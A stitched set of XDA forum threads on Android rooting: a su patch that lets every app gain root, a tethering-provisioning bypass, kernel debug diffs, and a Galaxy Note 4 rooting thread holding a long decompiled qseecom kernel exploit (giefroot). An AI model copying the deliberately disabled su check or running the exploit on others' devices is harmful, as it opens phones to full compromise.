[DEV] evil-su - HTC One X

there is something wrong with the su binary of ChainsDD and the current one-x system
i modified the latest git source of it to allow every app/user to gain root
it's not a fix but a workaround for now
Code:
diff --git a/su.c b/su.c
index 9bf46bc..734dcb2 100644
--- a/su.c
+++ b/su.c
@@ -255,6 +255,7 @@ static void usage(void)
static void deny(void)
{
+ return;
struct su_initiator *from = &su_from;
struct su_request *to = &su_to;
@@ -347,7 +348,7 @@ int main(int argc, char *argv[])
orig_umask = umask(027);
- if (su_from.uid == AID_ROOT || su_from.uid == AID_SHELL)
+ //if (su_from.uid == AID_ROOT || su_from.uid == AID_SHELL)
allow(shell, orig_umask);
if (stat(REQUESTOR_DATA_PATH, &st) < 0) {
rename the attached binary to su and set the permissions to 6755 (chmod 06755/system/xbin/su)

Do note that this is incredibly insecure and one should avoid doing this as much as possible.

Still need to figure out how to S OFF. Chainfire might know more.

Doing this makes your phone as insecure as Windows.

MrLadoodle said:
Doing this makes your phone as insecure as Windows.
Click to expand...
Click to collapse
Hahaha
Sent from my 'HTC One X' using XDA Premium

Or use ChainfireXDA's SuperSu...
P

Related

[Q] How do I build binary compatible system apks for JRO03C?

Please note that this question is purely academic in nature. My phone is not broken, and all the features I need are enabled. I just want to know how to make similar changes myself (see below).
Forgive me if this is in the wrong forum. I was going to post this in the Verizon Samsung Galaxy Nexus Development forum, but the site warned me that asking questions in that forum was against the rules (OK, I won't post my question there)!
I have a "toro" (Samsung Galaxy Nexus for VzW with LTE/CDMA).
Yesterday, I repo synced my AOSP source to bring it up to date. My phone is running an almost stock "maguro" (rooted) JRO03O from https://dl.google.com/dl/android/aosp/mysid-jro03o-factory-f17426e6.tgz .
Then I sourced build/envsetup.sh and selected full_toro-user (yes, "user", not "userdebug" ) with the lunch menu.
I then made what I thought was a clever patch to packages/apps/Settings/src/com/android/settings/TetherSettings.java where I added a few constants and a boolean function called isProvisioningAllowed() that is called by a now modified boolean function isProvisioningNeeded(). Essentially, isProvisioningNeeded() now checks to see if the Android owner allows his carrier to limit tethering to provisioned users (before checking to see if the carrier requires provisioning). As you may have guessed, using my patch, the default setting is now that the carrier is not allowed by the Android owner to require provisioning from the user.
For anyone curious, here is the .diff for my patch for TetherSettings.java (Java is not a programming language that I "know", but I can figure out most of the syntax from the existing code - so I may have crappy code) :
Code:
project packages/apps/Settings/
diff --git a/src/com/android/settings/TetherSettings.java b/src/com/android/settings/TetherSettings.java
index 4a79eca..63f1526 100644
--- a/src/com/android/settings/TetherSettings.java
+++ b/src/com/android/settings/TetherSettings.java
@@ -106,6 +106,11 @@ public class TetherSettings extends SettingsPreferenceFragment
private String[] mProvisionApp;
private static final int PROVISION_REQUEST = 0;
+ /* Is carrier allowed to require provisioning for tethering */
+ private static final int CARRIER_TETHERING_PROVISIONING_ALLOWED = 0;
+ private static final int CARRIER_TETHERING_PROVISIONING_PROHIBITED = -1;
+ private int mCarrierTetheringProvisioning = CARRIER_TETHERING_PROVISIONING_PROHIBITED;
+
@Override
public void onCreate(Bundle icicle) {
super.onCreate(icicle);
@@ -424,6 +429,36 @@ public class TetherSettings extends SettingsPreferenceFragment
return false;
}
+ boolean isProvisioningAllowed() {
+ /* returns whether Android owner allows carrier to restrict tethering to provisioned users */
+ if (mCarrierTetheringProvisioning == CARRIER_TETHERING_PROVISIONING_PROHIBITED) {
+ return false;
+ }
+ if (mCarrierTetheringProvisioning == CARRIER_TETHERING_PROVISIONING_ALLOWED) {
+ return true;
+ }
+ /* If neither of the above values match mCarrierTetheringProvisioning then assume it is prohibited by Android owner */
+ return false;
+ }
+
+ boolean isProvisioningNeeded() {
+ /* first check to see if provisioning is allowed before checking to see if it is needed */
+ if (isProvisioningAllowed()) {
+ /* provisioning is allowed, check to see if needed */
+ if (SystemProperties.getBoolean("net.tethering.noprovisioning", false)) {
+ /* provisioning is allowed, but not needed */
+ return false;
+ }
+ /* provisioning is allowed (and needed if mProvisionApp array has two values) */
+ return mProvisionApp.length == 2;
+ } else {
+ /* provisioning is not allowed, therefore it is not needed */
+ return false;
+ }
+
+/* Original (unaltered) isProvisioningNeeded() function
+
boolean isProvisioningNeeded() {
if (SystemProperties.getBoolean("net.tethering.noprovisioning", false)) {
return false;
@@ -431,6 +466,8 @@ public class TetherSettings extends SettingsPreferenceFragment
return mProvisionApp.length == 2;
}
+*/
+
private void startProvisioningIfNecessary(int choice) {
mTetherChoice = choice;
if (isProvisioningNeeded()) {
Then I built the entire tree. Next, I backed up "Settings.apk" and "Settings.odex" from my /system/app directory on my phone. Also, I remounted /system as r/w. I then dropped in the new "Settings.apk" and "Settings.odex" from my custom build, and set the owner.group to root.root (on both) and permissions to 644 (on both). I remounted /system as r/o again.
Even with a cold boot, the "Settings" menu crashes when launched (with my "Settings.apk" and "Settings.odex" in place).
I restored my backups for those two system files, and rebooted again (which fixed my Settings menu/app). I then downloaded somebody else's fixed "framework-res.apk" and deleted "SPG.apk". While this accomplishes one goal (no carrier restrictions on Google Android native tethering), it does not help me learn how to do this myself.
I want to be able to tweak the AOSP source on the fly, and produce binaries that are compatible with my ROM.
So my problem basically breaks down to the following 4 sub-questions:
1) Can anyone tell me why my customized "Settings.apk" and "Settings.odex" crash when "Settings" is launched?
2) Did I make a change that would break binary compatibility (I tried not to)?
3) Or is it because the current version of AOSP builds binaries for 4.1.2 (JZO54K) instead of for 4.1.1 (JRO03O)?
4) How do I build AOSP for an older tag anyway (like 4.1.1_r1)?

[Q&A] [DEV] Porting kernel 3.0 for DESIRE

Q&A for [DEV] Porting kernel 3.0 for DESIRE
Some developers prefer that questions remain separate from their main development thread to help keep things organized. Placing your question within this thread will increase its chances of being answered by a member of the community or by the developer.
Before posting, please use the forum search and read through the discussion thread for [DEV] Porting kernel 3.0 for DESIRE. If you can't find an answer, post it here, being sure to give as much information as possible (firmware version, steps to reproduce, logcat if available) so that you can get help.
Thanks for understanding and for helping to keep XDA neat and tidy!
Early bravo kernel debug technics
I am currently experimenting with this 3.0 kernel. Because of general instabilities, wrong chosen kernel config files and using the wrong tool chain, I have developed some technics which could help kernel developers on Bravo too. (You should use GCC 4.7 and bravo_config and for some earlier commits bravo3_config)
First idea: Using some hardware of the device to give feedback while early boot time. We can use bravo_reset() and also the vibrator.
Second Idea: Use ram_console which gives us the last kernel log in proc/last_kmesg after a reboot. So try to enable ram_console as early as possible and do a reset of the device before it hangs … While reset press volume down and go into fastboot and boot a stable kernel for reading proc/last_kmesg. This helps a lot especially after a bravo_reset() was added to kernel/panic.c …..
ram_console has a configuration for early initialization. But his would also need some memory resources reserved. And do not forget, the stable kernel booting after the reset needs the same settings for finding the last logs. Another quick and dirty way: Remove the ram_console device from your plattfrom device list and add initialize the console manually within bravo_init:
changes for bravo_board.c:
@@ -1466,7 +1466,7 @@ static struct platform_device *devices[] __initdata = {
&bcm_bt_lpm_device,
#endif
&msm_device_uart_dm1,
- &ram_console_device,
+// &ram_console_device,
&bravo_rfkill,
&msm_device_dmov,
&msm_device_smd,
+
+struct ram_console_buffer;
+
+int __init ram_console_init(struct ram_console_buffer *buffer,
+ size_t buffer_size, const char *bootinfo,
+ char *old_buf);
+
static void __init bravo_init(void)
{
int ret;
pr_info("bravo_init() revision=%d\n", system_rev);
+
+ struct ram_console_buffer *buffer;
+ request_mem_region(0x03A00000, 0x00040000, "BRAVO");
+ buffer = (struct ram_console_buffer*)ioremap(0x03A00000, 0x00040000);
+ ram_console_init(buffer, 0x00040000, NULL, NULL);
(sorry for the hard coded constants, you will find them within bravo_board.h for ram_console memory definitions I think...)
and remove the static modifier for the ram_console_init declaration within drivers/staging/android/ram_console.c
After this you should be able to do a reset after the call ram_console_init via bravo_reset() and to see proc/last_kmsg after rebooting into a stable kernel.
Here are some samples:
==============================================================================================================================
This commit makes a function barvo_vibrate (credits to AndroidJaspie) available and adds it to bravo_init and free_initmem:
commit 3c01cca1d7b840aafdcd13580cec64ca8e30190b
Author: Thomas Lehner <[email protected]>
Date: Tue Feb 3 07:51:49 2015 +0100
Temporary: Add some debug vibrations...
diff --git a/arch/arm/mach-msm/board-bravo.c b/arch/arm/mach-msm/board-bravo.c
index 32b04f3..32b527b 100644
--- a/arch/arm/mach-msm/board-bravo.c
+++ b/arch/arm/mach-msm/board-bravo.c
@@ -1727,10 +1727,21 @@ static void __init msm_qsd_spi_init(void)
int bravo_init_mmc(int sysrev, unsigned debug_uart);
+void barvo_vibrate(void)
+{
+ printk("barvo_vibrate");
+ *(volatile uint32_t*)(MSM_GPIO1_BASE + 0x0808) |= 0x200000;
+ mdelay(200);
+ *(volatile uint32_t*)(MSM_GPIO1_BASE + 0x0808) &= ~0x200000;
+ mdelay(800);
+}
+
static void __init bravo_init(void)
{
int ret;
+ barvo_vibrate();
+
pr_info("bravo_init() revision=%d\n", system_rev);
msm_hw_reset_hook = bravo_reset;
diff --git a/arch/arm/mm/init.c b/arch/arm/mm/init.c
index db80bd3..d8f497a 100644
--- a/arch/arm/mm/init.c
+++ b/arch/arm/mm/init.c
@@ -804,8 +804,12 @@ void __init mem_init(void)
}
}
+void barvo_vibrate(void);
+
void free_initmem(void)
{
+ barvo_vibrate();
+
unsigned long reclaimed_initmem;
#ifdef CONFIG_HAVE_TCM
extern char __tcm_start, __tcm_end;
==============================================================================================================================
This commit makes bravo_reset available and adds it to panic and after the optical joystick key was pressed:
commit c2e69d93b15e867cf05027cad5bb38ced8b09d2d
Author: Thomas Lehner <[email protected]>
Date: Tue Feb 3 08:07:20 2015 +0100
Tempory: Add reset on panic and on press OJ key pressed for debug...
diff --git a/arch/arm/mach-msm/board-bravo.c b/arch/arm/mach-msm/board-bravo.c
index dc9721c..bedb26c 100644
--- a/arch/arm/mach-msm/board-bravo.c
+++ b/arch/arm/mach-msm/board-bravo.c
@@ -1541,7 +1541,7 @@ static struct perflock_platform_data bravo_perflock_data = {
// Reset
///////////////////////////////////////////////////////////////////////
-static void bravo_reset(void)
+void bravo_reset(void)
{
printk("bravo_reset()\n");
gpio_set_value(BRAVO_GPIO_PS_HOLD, 0);
diff --git a/drivers/input/misc/gpio_matrix.c b/drivers/input/misc/gpio_matrix.c
index 996a422..08fe948 100644
--- a/drivers/input/misc/gpio_matrix.c
+++ b/drivers/input/misc/gpio_matrix.c
@@ -109,6 +109,8 @@ static void remove_phantom_keys(struct gpio_kp *kp)
}
}
+void bravo_reset(void);
+
static void report_key(struct gpio_kp *kp, int key_index, int out, int in)
{
struct gpio_event_matrix_info *mi = kp->keypad_info;
@@ -144,6 +146,10 @@ static void report_key(struct gpio_kp *kp, int key_index, int out, int in)
#ifdef CONFIG_OPTICALJOYSTICK_CRUCIAL
if (mi->info.oj_btn && keycode == BTN_MOUSE) {
if (need_send_spec_key == pressed) {
+
+ printk("key pressed -> reset");
+ bravo_reset();
+
curcial_oj_send_key(keycode, pressed);
need_send_spec_key = !pressed;
printk(KERN_INFO "%s: send OJ action key, pressed: %d\n",
diff --git a/kernel/panic.c b/kernel/panic.c
index 564c7bc..9ce9592 100644
--- a/kernel/panic.c
+++ b/kernel/panic.c
@@ -51,6 +51,8 @@ static long no_blink(int state)
return 0;
}
+void bravo_reset(void);
+
/* Returns how long it waited in ms */
long (*panic_blink)(int state);
EXPORT_SYMBOL(panic_blink);
@@ -107,6 +109,9 @@ NORET_TYPE void panic(const char * fmt, ...)
bust_spinlocks(0);
+ printk("Bravo reset on panic!");
+ bravo_reset();
+
if (!panic_blink)
panic_blink = no_blink;
I hope this helps,
Thomas
3.0 usb reconnect issue fixed!
Hello nikez,
At first many thanks for your great work on the qsd8k kernel.
I have done some work on the 3.0er branch and fixed the USB reconnect problem and some other issues too.
"https://github.com/justremotephone/android_kernel_htc_qsd8k/tree/android-5.1-bravo-30"
I hope this helps for furhter work. I have invested a considerable time to solve the increased standby power consumption problem (compared with the 2 kernel). But so far without success. Could some one help with this? I would have some futher details about that....
Regards,
Thomas.
[email protected] said:
Hello nikez,
At first many thanks for your great work on the qsd8k kernel.
I have done some work on the 3.0er branch and fixed the USB reconnect problem and some other issues too.
"https://github.com/justremotephone/android_kernel_htc_qsd8k/tree/android-5.1-bravo-30"
I hope this helps for furhter work. I have invested a considerable time to solve the increased standby power consumption problem (compared with the 2 kernel). But so far without success. Could some one help with this? I would have some futher details about that....
Regards,
Thomas.
Click to expand...
Click to collapse
Awesome job, Thomas.
Afaik, the Leo kernel 3.0 has a battery drain issue as well. As soon as I find a little time, I would be glad to further continue your work..
Cheers!
Sent from my Nexus™4 ?
HTC Desire K3 Kernel work
Bravo!!!
Now we can use HTC Desire with K3 Kernel ,like anew Desire.
Thanks!!!

[R&D] Rooting N910A/N910V Models

Welcome​First I have to ask that everyone please follow the rules when posting in here.​The last thread was shut down due to people getting off topic so let's stay on track here, if you have a question that you'd like to ask and are unsure if it belongs here then simply PM me and I'll help. In order to get things going I've added a simple FAQ below for people who may not be up to speed.​
Q: What's needed to root the N910A/N910V?
A: A kernel exploit and an Android OS exploit.
Q: What's the current status?
A: We have a kernel exploit that will work for us and the method to implement it. Our next goal is to apply an Android exploit which will grant us System UID in order to apply our kernel exploit and write root.
Q: What exploit are we using for the kernel side?
A. The exploit will be the work of @zxz0O0 and is based off of CVE-2014-4322. This is confirmed NOT patched by Samsung.
Q: What exploit are we using for Android side?
A. Current target is CVE-2015-1474. We've explored a previous exploit which has proven to work for the Sony Z3 (CVE-2014-7911), but unfortunately Samsung fixed this prior to releasing our devices.
Current Focus - Creating an APK that will exploit CVE-2015-1474 to elevate us to System UID. This is where we are at this current time. We will need a crafty Dev to come up with such APK. I am a novice when it comes to scripting and exploiting but in my free time I've been soaking up as much information as I possibly can to help in the future.
.
Working on PoC here:
https://github.com/p1gl3t/CVE-2015-1474_poc
Other Threads working on 2015-1474
http://forum.xda-developers.com/kin...luating-cve-2015-1474-to-escalate-to-t3045163​​
android-DEP said:
@ZPaul2Fresh8 confirmed that CVE-2014-4322 (qseecom) is fixed in N910AUCU1BNK3 but it might not be in N910AUCU1ANIE.
Click to expand...
Click to collapse
To clarify, CVE-2014-4322 is NOT patched in ANY baseband version on our devices. CVE-2014-7911 is the patched.
munjeni said:
Its not obfuscated if you think about file called "main"! It is 7z archive but removed first 2 bytes "7z" or hex "377A", just simple open "main" file with hex editor and append 2 bytes 37 7A to the start of the file and save them! It is password protected 7z archive and you must research for password in asembly if you think to open them with 7z I stil have no idea what is purpose of these "main" file (malware?) when there is another one "main" file (tar.gz) which is extracted when you execute file "a", but I know thats a two diferent "main" files!
Click to expand...
Click to collapse
From @idler1984 , here's the explanation of the 'a' and 'main' files. HERE.
jorgasm209 said:
Not sure how to prove something that isn't there... hard to prove a negative. APK is claiming not vulnerable even with the apparent absence of checkAndGetTcObjectClass in the firmware. Someone much smarter than me can attempt to find out why My bet is on @android-DEP ... see post above regarding ServiceExploitActivity.java.
Click to expand...
Click to collapse
It's been confirmed by me that exploit CVE-2014-7911 has been patched in the latest OTA (NK3 on AT&T) and I believe @zxz0O0 confirmed it on the earlier baseband too. If you're in doubt and you're running the earlier build, just go to system/framework/core.odex and you'll find the function is located there...
Now if you're just skimming through here let me catch everyone up to speed here;​
At this point in order to achieve root for our devices we will need a combination of exploits. There are a ton of CVE's being thrown and I can see why people are getting confused so I'll try to make it easier to understand. I'll break it down by CVE #.
CVE-2014-7911 - Patched so it doesn't matter. Android OS exploit to gain System UID. Not Root
CVE-2014-8609 - Android OS exploit. Possibly our next venture for gaining System UID, I've been told otherwise. Another vulnerability exists that may be easier. CVE-2015-1474
CVE-2014-4322 - Kernel exploit. Un-patched. Used to get Root while in System status.
So we need an exploit to get us System status and from there we pretty much have CVE-2014-4322 exploit to get Root from there.
Now, you may have read about Root solutions such as geifroot & 2014-79xx but forget about them because they are all based on Team Keen's exploit of CVE-2014-7911 which we confirmed has been backported and patched from day 1 on our devices. So in order to proceed we need a new exploit to get System status first... that vulnerability may be 2015-1474....
ZPaul2Fresh8, thanks for this write up. Finally someone who has understood the situation. I'm not really experienced in Java but I believe CVE-2014-8609 will not be useful. This exploit is for broadcasting actions to apps (e.g. dialing), not executing shell commands or binaries.
zxz0O0 said:
ZPaul2Fresh8, thanks for this write up. Finally someone who has understood the situation. I'm not really experienced in Java but I believe CVE-2014-8609 will not be useful. This exploit is for broadcasting actions to apps (e.g. dialing), not executing shell commands or binaries.
Click to expand...
Click to collapse
I understand, but what are the possible Broadcasts at our disposal? Whatever broadcast we send will be of System UID so maybe we can find something if we look hard enough?
I have Liang Chen (Team Keen (http://en.wikipedia.org/wiki/Pwn2Own#Contest_2014)) looking into CVE-2014-8609 to see if we can achieve System UID.
munjeni said:
Guys, CVE-2014-4322 root exploit from retme7 is not working, it need a lot of modifications, I am working on this 3 days and I am on 90 percent of luck, I am now stuck with this -> http://forum.xda-developers.com/showpost.php?p=58460530&postcount=1171
If you have idea for how I can change app_id than I will get it working and will share source with you!
This is decompiled source from guy who have it working and don't want to share them:
Code:
void sub_89F4(void) {
;
}
int __fastcall sub_8A78(signed int a1, int a2)
{
signed int v2; // [email protected]
FILE *v3; // [email protected]
void *v4; // [email protected]
signed int v5; // [email protected]
FILE *v6; // [email protected]
int v7; // [email protected]
char v8; // [email protected]
const char *v9; // [email protected]
_UNKNOWN *v10; // [email protected]
_UNKNOWN *v11; // [email protected]
char **v12; // [email protected]
const char *v13; // [email protected]
int result; // [email protected]
int ion_fd; // [email protected]
int v16; // [email protected]
int v17; // [email protected]
int *v18; // [email protected]
char *v19; // [email protected]
int v20; // [email protected]
int qseecom_fd; // [email protected]
int v22; // [email protected]
int v23; // [email protected]
int v24; // [email protected]
int *v25; // [email protected]
char *v26; // [email protected]
int *v27; // [email protected]
int v28; // [email protected]
int v29; // [email protected]
int v30; // [email protected]
int v31; // [email protected]
int v32; // [email protected]
int v33; // [email protected]
int v34; // [email protected]
int v35; // [email protected]
int *v36; // [email protected]
int v37; // [email protected]
int v38; // [email protected]
int v39; // [email protected]
int v40; // [email protected]
int *v41; // [email protected]
int v42; // [email protected]
int v43; // [email protected]
void *v44; // [email protected]7
int v45; // [email protected]
int v46; // [email protected]
unsigned int v47; // [email protected]
int v48; // [email protected]
int v49; // [email protected]
int v50; // [email protected]
int *v51; // [email protected]
int ptmx_fd; // [email protected]
int v53; // [email protected]
int v54; // [email protected]
int v55; // [email protected]
int v56; // [email protected]
int *v57; // [email protected]
char *v58; // [email protected]
int v59; // [sp+Ch] [bp-1F4h]@1
int memfile_fd; // [sp+Ch] [bp-1F4h]@26
void *ion_void; // [sp+14h] [bp-1ECh]@26
int v62; // [sp+18h] [bp-1E8h]@24
int v63; // [sp+1Ch] [bp-1E4h]@38
int v64; // [sp+20h] [bp-1E0h]@38
int v65; // [sp+24h] [bp-1DCh]@38
int v66; // [sp+28h] [bp-1D8h]@38
int v67; // [sp+2Ch] [bp-1D4h]@22
int v68; // [sp+30h] [bp-1D0h]@22
int v69; // [sp+34h] [bp-1CCh]@22
int v70; // [sp+38h] [bp-1C8h]@22
int v71; // [sp+3Ch] [bp-1C4h]@24
unsigned int v72; // [sp+40h] [bp-1C0h]@41
int v73; // [sp+44h] [bp-1BCh]@41
int v74; // [sp+48h] [bp-1B8h]@41
int v75; // [sp+4Ch] [bp-1B4h]@41
int v76; // [sp+50h] [bp-1B0h]@41
unsigned int v77; // [sp+54h] [bp-1ACh]@41
int v78; // [sp+58h] [bp-1A8h]@41
int v79; // [sp+5Ch] [bp-1A4h]@41
int v80; // [sp+60h] [bp-1A0h]@41
int v81; // [sp+64h] [bp-19Ch]@41
int v82; // [sp+68h] [bp-198h]@41
int v83; // [sp+6Ch] [bp-194h]@41
char v84; // [sp+70h] [bp-190h]@4
char v85[4]; // [sp+90h] [bp-170h]@29
int v86; // [sp+94h] [bp-16Ch]@29
int v87; // [sp+98h] [bp-168h]@29
char v88; // [sp+9Ch] [bp-164h]@29
int v89; // [sp+A0h] [bp-160h]@30
int v90; // [sp+A4h] [bp-15Ch]@30
int v91; // [sp+A8h] [bp-158h]@30
int v92; // [sp+ACh] [bp-154h]@30
int v93; // [sp+B0h] [bp-150h]@30
int v94; // [sp+B4h] [bp-14Ch]@30
int v95; // [sp+B8h] [bp-148h]@30
int v96; // [sp+BCh] [bp-144h]@30
int v97; // [sp+C0h] [bp-140h]@30
int v98; // [sp+C4h] [bp-13Ch]@30
int v99; // [sp+C8h] [bp-138h]@30
int v100; // [sp+CCh] [bp-134h]@30
char v101; // [sp+D4h] [bp-12Ch]@1
int v102; // [sp+1D4h] [bp-2Ch]@1
char v103; // [sp+1D8h] [bp-28h]@4
v2 = a1;
v102 = _stack_chk_guard;
v59 = a2;
puts("giefroot (c) zxz0O0");
v3 = fopen("/proc/version", "r");
fread(&v101, 0x100u, 1u, v3);
fclose(v3);
v4 = malloc(0x100u);
v5 = 30;
v6 = fopen("/system/build.prop", "r");
do
{
while ( 1 )
{
fgets((char *)v4, 256, v6);
v7 = strncmp((const char *)v4, "ro.product.device=", 0x12u);
v8 = v7;
if ( !v7 )
break;
--v5;
if ( !v5 )
goto LABEL_5;
}
strcpy(&v84, (const char *)v4 + 18);
--v5;
*(&v103 + strlen(&v84) - 361) = v8;
}
while ( v5 );
LABEL_5:
fclose(v6);
free(v4);
v9 = supported_kernel[0];
if ( supported_kernel[0] )
{
v10 = &unk_D014;
v11 = &unk_D0A4;
v12 = (char **)unk_D0A4;
do
{
if ( !strcmp(v9, &v101) && (!v12 || !strcmp((const char *)*((int *)v10 - 4), &v84)) )
{
v12 = &supported_kernel[5 * v5];
unk_D0A4 = &supported_kernel[5 * v5];
}
v13 = *(const char **)v10;
v10 = (char *)v10 + 20;
v9 = v13;
++v5;
}
while ( v13 );
}
else
{
v11 = &unk_D0A4;
v12 = (char **)unk_D0A4;
}
if ( v12 )
{
v12 = (char **)1;
}
else
{
puts("Error: Kernel not supported");
printf("Device: %s, Kernel: %s\n", &v84, &v101);
*(int *)v11 = supported_kernel;
}
if ( v2 > 1 && !strcmp(*(const char **)(v59 + 4), "-s") )
{
result = (unsigned int)v12 ^ 1;
goto error;
}
ion_fd = open("/dev/ion", 0);
if ( ion_fd < 0 )
puts("Error opening ion device");
v67 = 256;
v68 = 4;
v69 = 134217728;
v70 = 1;
sub_89F4();
v16 = ioctl(ion_fd, ION_IOC_ALLOC, &v67);
if ( v16 )
{
v25 = (int *)((int (*)(void))_errno)();
v26 = strerror(*v25);
printf("Error ioctl: %d / %s\n", v16, v26);
}
else
{
sub_89F4();
}
v62 = v71;
v17 = ioctl(ion_fd, ION_IOC_SHARE, &v62);
if ( v17 )
{
v18 = (int *)((int (*)(void))_errno)();
v19 = strerror(*v18);
printf("Error ioctl: %d / %s\n", v17, v19);
}
else
{
sub_89F4();
}
sub_89F4();
ion_void = (void *)mmap(0, 256, 7, 1);
memset(ion_void, 255, 0x100u);
memfile_fd = open("/data/local/tmp/memfile", 2);
if ( memfile_fd < 0 )
sub_89F4();
v20 = mmap(0, 2113929216, 7, 1);
if ( v20 == -1 )
puts("mmap shared_buf failed");
qseecom_fd = open("/dev/qseecom", 0);
if ( qseccom_fd < 0 )
{
puts("Error opening qseecom");
getting_root:
close(memfile_fd);
close(ion_fd);
close(qseccom_fd);
puts("getting root...");
ptmx_fd = open("/dev/ptmx", 0);
fsync(ptmx_fd, v53);
v54 = close(ptmx_fd);
v55 = getuid(v54);
v56 = printf("getuid: %d\n", v55);
if ( getuid(v56) )
{
puts("Error getting root");
result = 1;
}
else
{
system("/data/local/tmp/systemrw.sh");
system("/data/local/tmp/installsupersu.sh");
result = 0;
}
goto error;
}
sub_89F4();
*(int *)v85 = 1769437812;
v86 = 1769366884;
v87 = 25966;
memset(&v88, 0, 0x14u);
while ( 1 )
{
while ( 1 )
{
v93 = *(int *)v85;
v94 = v86;
v95 = v87;
v96 = *(int *)&v88;
v97 = v89;
v98 = v90;
v99 = v91;
v100 = v92;
v22 = ioctl(qseecom_fd, QSEECOM_IOCTL_APP_LOADED_QUERY_REQ, &v93);
if ( v22 )
{
v27 = (int *)_errno(v22, v23, v24);
strerror(*v27);
sub_89F4();
goto obtain_qseecom_mem;
}
sub_89F4();
puts("query failed. trying another app...");
if ( strcmp(v85, "tzwidevine") )
break;
strcpy(v85, "keymaster");
}
if ( strcmp(v85, "keymaster") )
break;
strcpy(v85, "tzsuntory");
}
if ( !strcmp(v85, "tzsuntory") )
{
puts("Error querying app");
goto getting_root;
}
obtain_qseecom_mem:
v64 = v63;
v65 = v20;
v66 = 2113929216;
v28 = ioctl(qseecom_fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &v64);
v31 = v28;
if ( v28 )
{
v57 = (int *)_errno(v28, v29, v30);
v58 = strerror(*v57);
printf("Error ioctl QSEECOM_IOCTL_SET_MEM_PARAM_REQ: %d / %s\n", v31, v58);
}
else
{
sub_89F4();
}
munmap(v20, 2113929216);
v32 = mmap(v20, 4096, 7, 50);
if ( v32 == -1 )
puts("Error allocating shared buf again");
memset((void *)v32, 255, 0x1000u);
v77 = 0;
v79 = 0;
v78 = 0;
v81 = 0;
v80 = 0;
v83 = 0;
v82 = 0;
v73 = 2113921024;
v74 = v32 + 80;
v75 = 4096;
v76 = v63;
v72 = v32;
puts("getting ptr");
v33 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v33 )
{
v36 = (int *)_errno(v33, v34, v35);
strerror(*v36);
sub_89F4();
}
else
{
sub_89F4();
}
munmap(v32, 4096);
sub_89F4();
v37 = mmap(v20, 524288, 7, 49);
if ( v37 != -1 )
{
sub_89F4();
memset((void *)v37, 255, 0x80000u);
v72 = v32 + ((unsigned int)(v37 + 979369984) >> 1);
v77 = (unsigned int)(v37 + 979369984) >> 1;
puts("getting offset");
v38 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v38 )
{
v41 = (int *)_errno(v38, v39, v40);
strerror(*v41);
sub_89F4();
}
else
{
sub_89F4();
}
v42 = sub_8A00(v37, 524288);
munmap(v37, 524288);
v43 = mmap(*(int *)ion_void, 1024, 7, 49);
if ( v43 == -1 )
{
puts("Error: Could not allocate memory for exploit code");
}
else
{
v44 = (void *)v43;
sub_89F4();
memcpy(v44, sub_8994, 0x400u);
munmap(ion_void, 4096);
v45 = (int)((char *)v44 + 64);
do
{
while ( 1 )
{
v46 = *(int *)v44;
v44 = (char *)v44 + 4;
if ( v46 == -1091584273 )
break;
if ( v44 == (void *)v45 )
goto exploit_qseecom;
}
*((int *)v44 - 1) = sub_89A4;
}
while ( v44 != (void *)v45 );
exploit_qseecom:
v47 = v32 + ((unsigned int)(v37 + *(int *)(*(int *)v11 + 8) + 979370040 - v42) >> 1);
v77 = (unsigned int)(v37 + *(int *)(*(int *)v11 + 8) + 979370040 - v42) >> 1;
v72 = v47;
puts("exploiting");
v48 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v48 )
{
v51 = (int *)_errno(v48, v49, v50);
strerror(*v51);
sub_89F4();
}
else
{
sub_89F4();
}
}
goto getting_root;
}
puts("Error allocating testmem");
result = 1;
error:
if ( v102 != _stack_chk_guard )
_stack_chk_fail(result);
return result;
}
I am tried to construct but sorry I am not skilled in reverse enginering. If you understand than try to construct right function from that and share it here!
Click to expand...
Click to collapse
Making CVE-2014-4322 a universal one would be quite challenging since it provides write-anywhere without read. It is almost impossible to avoid hard coded offsets. It would be great if there is another read and write anywhere flaw which requires system priv.
ZPaul2Fresh8 said:
I understand, but what are the possible Broadcasts at our disposal? Whatever broadcast we send will be of System UID so maybe we can find something if we look hard enough?
I have Liang Chen (Team Keen (http://en.wikipedia.org/wiki/Pwn2Own#Contest_2014)) looking into CVE-2014-8609 to see if we can achieve System UID.
Click to expand...
Click to collapse
Okay I decided to try to invoke the android terminal intent to open a new terminal window as a system user. it doesn't work for me but other people on preOTA may be able to get it to work. I disabled the factory reset crap so don't worry about accidently factory resetting your device (like I did to my tablet before I disabled them). You will need to install the android terminal emulator app from the play store prior to opening this app and clicking the button. if you get a terminal window open type whoami and post a screenshot please. If not a simple post saying it doesn't work is fine.
Sent from my SAMSUNG-SM-N910A using Tapatalk
This one looking good https://android.googlesource.com/pl...5d3e74ecc2b973941d8adbe40c6b23094b5abb7^!/#F0
You can decompile settings.apk and search in src/com/android/settings/accounts/AddAccountSettings.smali to see if it is patched or not.
Hey I know it's already been stated but I wanted to confirm for myself. Confirmed... The string "checkAndGetTcObjectClass" exists in system.img.ext4 from NI1 that i pulled off of sammobile.com http://www.sammobile.com/firmwares/download/38838/N910VVRU1ANI1_N910VVZW1ANI1_VZW.zip/. Screenshot below.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Hi, I have implemented terminal emulator internaly into CVE-2014-8609.apk but from some unknown reasons it fail to start when I press "open terminal" button, I have spent 2 hours with this and I am lazy to debug more, sorry, try to decompile mine apk and fix it! Interesting thing I can start internal terminal emulator by command: "am start -n com.example.android.samplesync/jackpal.androidterm.Term", but clicking on button it no want to start
munjeni said:
I don't know, I stil receiving sms, only unable to get terminal emulator on button click
Click to expand...
Click to collapse
